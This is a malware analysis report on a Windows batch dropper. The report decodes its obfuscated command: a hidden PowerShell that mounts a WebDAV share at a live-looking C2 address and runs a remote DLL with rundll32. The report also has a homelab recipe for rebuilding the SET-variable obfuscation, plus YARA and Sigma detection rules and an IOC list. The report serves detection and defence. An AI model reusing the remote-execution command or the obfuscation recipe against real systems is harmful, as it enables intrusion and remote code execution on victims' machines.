d36d84f2346a7d9c03bae733f80b1640ebc81b2a6509f395fa090f896a117be3unclassified-js-webdav-dropper: d36d84f2 — Seventeenth Confirmed Sibling
Executive Summary
A 2.1 KB Windows batch dropper that is the seventeenth confirmed sibling of the unclassified-js-webdav-dropper family. Uses shared-prefix SET variable obfuscation (wdopmXXXX, 36 entries) to assemble a net use WebDAV mount + rundll32 remote DLL execution chain against 45.9.74.32:8888. Payload: 639.dll. Identical execution engine to siblings e777fd64, ed6b2cd3, c6e24c16, and ceacabb4 — only the SET prefix and payload filename differ. ^[sample d36d84f2/strings.txt]
What It Is
| Field | Value |
|---|---|
| SHA-256 | d36d84f2346a7d9c03bae733f80b1640ebc81b2a6509f395fa090f896a117be3 |
| Filename | 11555260402116016698.bat |
| Size | 2,138 bytes (2.1 KB) ^[sample d36d84f2/file.txt] |
| Type | ASCII text, CRLF line terminators, very long lines (1,254 chars) ^[sample d36d84f2/file.txt] |
| Family | unclassified-js-webdav-dropper (seventeenth confirmed sibling) |
| Confidence | High — identical execution chain, same C2 IP, same rundll32 entry pattern, same wordpad decoy. |
How It Works
Obfuscation
The script fragments its payload across 36 SET variable assignments on line 1 of strings.txt. ^[sample d36d84f2/strings.txt:1] Each variable uses a shared 5-character prefix (wdopm) followed by a random 5-character suffix, holding a single ASCII character value. The complete mapping decodes to lowercase letters a–z and digits 0–9.
Execution Chain (Decoded)
Line 2 of strings.txt ^[sample d36d84f2/strings.txt:2] — a decoy launch:
color f0&&start wordpad
Line 3 of strings.txt ^[sample d36d84f2/strings.txt:3] — the real payload:
start powershell.exe -windowstyle hidden net use \\45.9.74.32@8888\davwwwroot\ ; rundll32 \\45.9.74.32@8888\davwwwroot\639.dll,entry
color f0— sets console colors (benign-looking).start wordpad— launches WordPad as a visible decoy. ^[sample d36d84f2/strings.txt:2]start powershell.exe -windowstyle hidden— spawns PowerShell with hidden window. ^[sample d36d84f2/strings.txt:3]net use \\45.9.74.32@8888\davwwwroot\— mounts the WebDAV share. ^[sample d36d84f2/strings.txt:3]rundll32 \\45.9.74.32@8888\davwwwroot\639.dll,entry— loads and executes639.dllfrom the remote share via the signedrundll32.exesystem binary. ^[sample d36d84f2/strings.txt:3]
Decompiled Behavior
Not applicable — this is a batch script, not a compiled binary. No Ghidra or radare2 decompilation required. Static string substitution is sufficient to recover the full execution chain.
C2 Infrastructure
| Indicator | Value | Type |
|---|---|---|
| IP | 45.9.74.32 |
WebDAV C2 host |
| Port | 8888 |
WebDAV port |
| Payload path | \davwwwroot\639.dll |
Remote DLL |
| Entry point | entry |
rundll32 export |
Interesting Tidbits
- Identical execution engine to siblings
e777fd64,ed6b2cd3,c6e24c16, andceacabb4— all userundll32 ... ,entryagainst45.9.74.32:8888with awordpaddecoy. The only delta is the SET prefix and payload filename. ^[sample d36d84f2/strings.txt] - Shared-prefix SET pattern (
wdopmXXXX) is the same anti-static technique observed in siblingse777fd64(hbutcXXXX),ed6b2cd3(labzfXXXX), andc6e24c16(nmnmdXXXX). ^[sample d36d84f2/strings.txt:1] - No sandbox gating — no debugger checks, no VM detection, no time-bombs, no connectivity checks. Executes immediately on launch. ^[sample d36d84f2/strings.txt]
- Low code quality — hand-written, verbose, repetitive. Lacks commercial obfuscator signatures. ^[sample d36d84f2/strings.txt]
How To Mess With It (Homelab Replication)
- Build the obfuscated batch:
- Write a clear batch script performing
net use+rundll32. - Split every character into a
SET PREFIXSUFFIX=charline with a shared 5-char prefix. - Reassemble via
%PREFIXSUFFIX%expansion on the execution lines.
- Write a clear batch script performing
- Test against your EDR — does it flag
rundll32.exewith a UNC path? Most do not by default. - Verify WebDAV mount — set up a local WebDAV server (
wsgidav --host=0.0.0.0 --port=8888) and observenet use+rundll32behavior in Process Monitor.
Deployable Signatures
YARA Rule
rule UnclassifiedJSWebDAVDropper_BatchSetObfuscation {
meta:
description = "Detects batch-script WebDAV dropper with shared-prefix SET obfuscation"
author = "Titus"
date = "2026-06-25"
sha256 = "d36d84f2346a7d9c03bae733f80b1640ebc81b2a6509f395fa090f896a117be3"
strings:
$set_pattern = /set [a-z]{10}=[a-z0-9]/
$webdav = "\\davwwwroot\\" ascii
$rundll32 = "rundll32" ascii
$net_use = "net use" ascii
$wordpad = "wordpad" ascii
condition:
filesize < 5KB and
#set_pattern > 20 and
$webdav and
($rundll32 or $net_use) and
$wordpad
}
Sigma Rule
title: Batch WebDAV Dropper with Rundll32 Execution
description: Detects batch scripts mounting WebDAV shares and executing remote DLLs via rundll32
logsource:
category: process_creation
product: windows
detection:
selection_netuse:
CommandLine|contains:
- 'net use'
- '\\@8888\\davwwwroot'
selection_rundll32:
CommandLine|contains:
- 'rundll32'
- '\\@8888\\davwwwroot'
- '.dll,entry'
condition: selection_netuse or selection_rundll32
falsepositives:
- Legitimate WebDAV administration scripts
level: high
IOC List
| Indicator | Value | Type |
|---|---|---|
| SHA-256 | d36d84f2346a7d9c03bae733f80b1640ebc81b2a6509f395fa090f896a117be3 |
Hash |
| Filename | 11555260402116016698.bat |
Filename |
| C2 IP | 45.9.74.32 |
IP |
| C2 Port | 8888 |
Port |
| Payload | 639.dll |
Filename |
| Entry point | entry |
Export name |
| Decoy | wordpad |
Process name |
Behavioral Fingerprint Statement
This batch script obfuscates its payload via shared-prefix SET variable expansion (wdopmXXXX), then launches WordPad as a decoy before spawning PowerShell with a hidden window to mount a WebDAV share at \\45.9.74.32@8888\davwwwroot\ and execute 639.dll via rundll32.exe with export entry. No sandbox gating, no persistence, no C2 beyond the WebDAV mount.
Detection Signatures (ATT&CK Mapping)
| Tactic | Technique | Evidence |
|---|---|---|
| Execution | T1059.003 (Windows Command Shell) | cmd.exe executes batch layer ^[sample d36d84f2/strings.txt] |
| Execution | T1059.001 (PowerShell) | powershell.exe -windowstyle hidden wrapper ^[sample d36d84f2/strings.txt:3] |
| Execution | T1218.011 (Rundll32) | rundll32 \\45.9.74.32@8888\davwwwroot\639.dll,entry ^[sample d36d84f2/strings.txt:3] |
| Defense Evasion | T1218 (System Binary Proxy Execution) | rundll32.exe is a signed system binary proxying remote DLL load ^[sample d36d84f2/strings.txt:3] |
| Defense Evasion | T1036.005 (Match Legitimate Name or Location) | wordpad decoy reinforces legitimacy ^[sample d36d84f2/strings.txt:2] |
| Defense Evasion | T1027 (Obfuscated Files or Information) | Shared-prefix SET variable expansion ^[sample d36d84f2/strings.txt:1] |
| Command & Control | T1071.001 (Web Protocols) | WebDAV over HTTP (\\45.9.74.32@8888\DavWWWRoot\) ^[sample d36d84f2/strings.txt:3] |
| Command & Control | T1105 (Ingress Tool Transfer) | net use mounts WebDAV share; rundll32 fetches and loads remote DLL ^[sample d36d84f2/strings.txt:3] |
References
- Artifact ID:
3ded5f93-6c37-423b-a65d-9f693946abcd - Source: MalwareBazaar / OpenCTI
- Entity page: unclassified-js-webdav-dropper
- Technique pages: webdav-regsvr32-dll-sideloading, batch-powershell-variable-expansion-obfuscation
- Sibling analyses:
e777fd64,ed6b2cd3,c6e24c16,ceacabb4(same C2, same execution engine)
Provenance
file.txt— file-type identificationstrings.txt— raw script content and decoded payloadexiftool.json— file metadatatriage.json— triage classificationdynamic-analysis.md— CAPE skipped (not a supported binary class)ssdeep.txt— ssdeep hashtlsh.txt— TLSH hashyara.txt— no YARA matchespefile.txt— not a PEbinwalk.txt— no embedded artefactsrabin2-info.txt— radare2 binary header summary (ASCII text)floss.txt— error (not applicable to non-PE)capa.txt— error (not applicable to non-PE)
Report generated by Titus, Lieutenant of the Ultramarines.